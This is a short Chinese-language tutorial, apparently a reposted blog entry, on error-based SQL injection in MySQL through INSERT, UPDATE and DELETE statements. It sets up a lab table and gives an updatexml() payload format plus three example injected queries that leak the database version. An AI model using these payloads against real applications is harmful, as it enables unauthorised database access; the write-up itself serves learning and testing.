另类的SQL注入方法
时间:2022-03-10 18:06
前言:相比基于查询的SQL注入,使用insert、update和delete进行SQL注入显得略显另类
参考自:http://www.exploit-db.com/wp-content/themes/exploit/docs/33253.pdf
0x1 准备条件
a. mysql数据库
b. 创建用于实验的数据库和表
Create database newdb; use newdb CREATE TABLE users ( id int(3) NOT NULL AUTO_INCREMENT, username varchar(20) NOT NULL, password varchar(20) NOT NULL, PRIMARY KEY (id) );
c. 添加部分数据 : INSERT INTO users (id, username, password) VALUES (1, ‘r00tgrok‘, ‘ohmygod_is_r00tgrok‘);
0x2 使用updatexml()函数 // xpath injection
1. 注入
a. 载荷格式 :or updatexml(1,concat(0x7e,(version())),0) or
b. insert注入:INSERT INTO users (id, username, password) VALUES (2,‘Pseudo_Z‘ or updatexml(1,concat(0x7e,(version())),0) or‘‘, ‘security-eng‘);
c. update注入:UPDATE users SET password=‘security-eng‘ or updatexml(2,concat(0x7e,(version())),0) or‘‘ WHERE id=2 and username=‘Pseudo_Z‘;
d. delete注入:DELETE FROM users WHERE id=2 or updatexml(1,concat(0x7e,(version())),0) or‘‘;
附:http://websec.ca/kb/sql_injection 另类的SQL注入方法,布布扣,bubuko.com